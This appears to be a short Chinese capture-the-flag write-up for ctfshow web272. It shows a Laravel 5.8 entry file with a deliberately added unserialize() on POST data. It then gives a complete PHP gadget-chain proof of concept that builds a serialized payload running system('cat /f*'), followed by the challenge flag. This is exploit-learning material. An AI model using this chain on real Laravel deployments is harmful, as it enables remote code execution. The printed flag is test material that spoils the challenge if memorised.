(差分析)web272 Laravel 5.8 框架 CVE

PHP/7.1.26框架审计Laravel 5.8登录前

可参考文章

<?php
/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);

poc

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

其实还有挺多链的
https://www.anquanke.com/post/id/189718

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ctfshow{3727863c-5126-4a3f-a7fc-40f72a3c564f}